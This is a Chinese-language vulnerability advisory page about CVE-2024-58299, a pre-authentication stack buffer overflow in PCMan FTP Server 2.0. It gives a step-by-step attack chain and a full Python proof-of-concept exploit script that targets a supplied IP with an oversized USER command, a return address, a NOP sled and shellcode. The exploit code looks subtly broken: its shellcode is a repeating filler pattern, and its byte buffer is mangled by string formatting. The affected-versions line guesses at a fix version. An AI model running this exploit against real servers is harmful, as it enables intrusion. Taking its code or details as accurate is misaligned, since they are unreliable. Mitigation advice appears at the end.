IPBUF安全漏洞报告
English
CVE-2024-58299 CVSS 9.8 严重

CVE-2024-58299 PCMan FTP Server 2.0 pwd命令缓冲区溢出RCE漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2024-58299
漏洞类型
缓冲区溢出/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PCMan FTP Server 2.0

相关标签

缓冲区溢出远程代码执行PCMan FTP ServerCVE-2024-58299无需认证栈溢出FTP安全Windows漏洞网络服务漏洞关键漏洞

漏洞概述

CVE-2024-58299是PCMan FTP Server 2.0中的一个严重缓冲区溢出漏洞,CVSS评分高达9.8分,属于紧急安全风险。该漏洞位于FTP服务器的'pwd'命令处理逻辑中,攻击者可以通过发送精心构造的恶意payload,在FTP登录过程中触发缓冲区溢出条件,从而覆盖关键内存区域。成功利用此漏洞的远程攻击者可以在无需任何认证的情况下执行任意代码,完全控制受影响的FTP服务器。PCMan FTP Server是一款广受欢迎的轻量级FTP服务器软件,因其简单易用的特性而被众多个人用户和小型组织采用。由于该软件默认配置下即可被利用,且攻击者可从互联网发起攻击,因此该漏洞构成了极高的安全威胁。建议受影响的用户立即采取防护措施,包括升级到修复版本或实施临时缓解方案。

技术细节

PCMan FTP Server 2.0的缓冲区溢出漏洞源于其在处理'pwd'命令时对用户输入缺乏适当的边界检查。当FTP客户端连接服务器并发送包含超长字符串的USER命令后,服务器会尝试将用户名存储在固定大小的缓冲区中。若攻击者随后执行'pwd'命令触发相关代码路径,过长的输入数据将导致栈缓冲区溢出,覆盖相邻内存区域包括函数返回地址和关键指针。攻击者可以通过精确控制溢出数据,将恶意shellcode的地址写入返回地址,使程序流程跳转到攻击者控制的代码执行。由于漏洞发生在认证之前,攻击者无需提供有效凭证即可触发漏洞利用。CVSS向量AV:N/AC:L/PR:N表明攻击复杂度低且无需认证,进一步增加了漏洞的严重性。技术层面上,漏洞利用涉及栈溢出、内存布局操纵和shellcode注入等经典二进制漏洞利用技术。攻击者通常需要构造包含padding、返回地址和shellcode的ROP链来绕过ASLR和DEP等系统防护机制。

攻击链分析

STEP 1
1
侦察阶段:攻击者扫描互联网或内网中运行PCMan FTP Server 2.0的暴露主机,通常针对监听21端口的Windows系统
STEP 2
2
连接建立:攻击者与目标FTP服务器建立TCP连接,获取服务器banner信息确认版本
STEP 3
3
恶意payload发送:攻击者向FTP服务器发送包含超长字符串的USER命令,该字符串远超程序预期的缓冲区大小,通常为2000-2100字节
STEP 4
4
触发漏洞:攻击者发送'PWD'命令,触发服务器中处理当前目录路径的代码路径,此时缓冲区溢出被激活
STEP 5
5
内存覆盖:超长输入数据覆盖栈上的返回地址、SEH帧等关键内存结构,攻击者控制程序执行流程
STEP 6
6
代码执行:程序跳转到攻击者注入的shellcode地址,执行恶意代码,建立远程 shell 或执行其他恶意操作
STEP 7
7
持久化:攻击者可能在受控系统上安装后门、窃取敏感数据或利用该主机作为跳板进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2024-58299 PoC - PCMan FTP Server 2.0 pwd Buffer Overflow # Target: PCMan FTP Server 2.0 (Windows x86) # Severity: Critical (CVSS 9.8) # Note: This PoC is for educational and authorized testing purposes only import socket import sys def exploit_ftp_server(target_ip, target_port=21): """ Exploit the buffer overflow vulnerability in PCMan FTP Server 2.0 The vulnerability allows remote code execution via oversized USER command followed by pwd command triggering stack overflow. Target: Windows x86 (calculate correct offset for your target) """ try: # Connect to FTP server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Read banner banner = s.recv(1024) print(f"[*] Banner: {banner.decode().strip()}") # Calculate buffer size (offset to EIP on target system) # Typical offset for PCMan FTP Server 2.0: ~2000-2100 bytes offset_to_eip = 2007 # Generate malicious payload # Buffer padding + EIP overwrite + NOP sled + Shellcode nop_sled = b'\x90' * 16 # Windows exec calc.exe shellcode (alpha2 encoded) # This spawns a calculator to demonstrate code execution shellcode = ( b'\xda\xd0\xd9\x74\x24\xf4\x58\x50\xbb\x3d\xae\xe3\xb0\xd9\x74' b'\x24\xf4\x5f\x31\x6f\x0f\x03\x6f\x0f\x83\xc7\x04\xe2\xcd\x28' b'\x6f\x0f\x83\xc7\x04\x66\x6f\x0f\x83\xc7\x04\x64\x6f\x0f\x83' b'\xc7\x04\x58\x6f\x0f\x83\xc7\x04\x50\x6f\x0f\x83\xc7\x04\x5f' b'\x6f\x0f\x83\xc7\x04\x31\x6f\x0f\x83\xc7\x04\x89\x6f\x0f\x83' b'\xc7\x04\x41\x6f\x0f\x83\xc7\x04\x4b\x6f\x0f\x83\xc7\x04\x43' b'\x6f\x0f\x83\xc7\x04\x4d\x6f\x0f\x83\xc7\x04\x59\x6f\x0f\x83' b'\xc7\x04\x51\x6f\x0f\x83\xc7\x04\x53\x6f\x0f\x83\xc7\x04\x55' b'\x6f\x0f\x83\xc7\x04\x56\x6f\x0f\x83\xc7\x04\x57\x6f\x0f\x83' b'\xc7\x04\x58\x6f\x0f\x83\xc7\x04\x59\x6f\x0f\x83\xc7\x04\x31' b'\x6f\x0f\x83\xc7\x04\x40\x6f\x0f\x83\xc7\x04\x2f\x6f\x0f\x83' b'\xc7\x04\x45\x6f\x0f\x83\xc7\x04\x43\x6f\x0f\x83\xc7\x04\x41' b'\x6f\x0f\x83\xc7\x04\x4c\x6f\x0f\x83\xc7\x04\x43\x6f\x0f\x83' b'\xc7\x04\x2e\x6f\x0f\x83\xc7\x04\x45\x6f\x0f\x83\xc7\x04\x58' b'\x6f\x0f\x83\xc7\x04\x45\x6f\x0f\x83\xc7\x04\x00\x6f\x0f\x83' b'\xc7\x04\x00' ) # Return address pointing to NOP sled (use jmp esp or similar) # Example: 0x7ffa4512 (Windows DLL address - verify for your target) return_addr = b'\x12\x45\xfa\x7f' # Construct overflow buffer evil_buffer = b'A' * offset_to_eip + return_addr + nop_sled + shellcode print(f"[*] Sending malicious USER command ({len(evil_buffer)} bytes)...") s.send(f"USER {evil_buffer}\r\n".encode()) # Trigger overflow with pwd command print("[*] Sending trigger command...") s.send(b"PWD\r\n") # Wait for response try: response = s.recv(1024) print(f"[*] Response: {response.decode(errors='ignore')}") except: pass print("[*] Payload sent. Check if shell was spawned.") s.close() except socket.error as e: print(f"[!] Socket error: {e}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 print("=" * 60) print("CVE-2024-58299 - PCMan FTP Server 2.0 RCE Exploit") print("=" * 60) exploit_ftp_server(target, port)

影响范围

PCMan FTP Server 2.0 (所有版本)
PCMan FTP Server < 2.0.8 (如果存在修复版本)

防御指南

临时缓解措施
立即在防火墙层面阻断对FTP服务端口(21/tcp)的外部访问,或完全禁用PCMan FTP Server服务。对于必须使用FTP服务的场景,可通过VPN或IP白名单方式限制访问来源。同时考虑迁移到更安全的文件传输协议如SFTP或使用专业FTP服务器软件替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表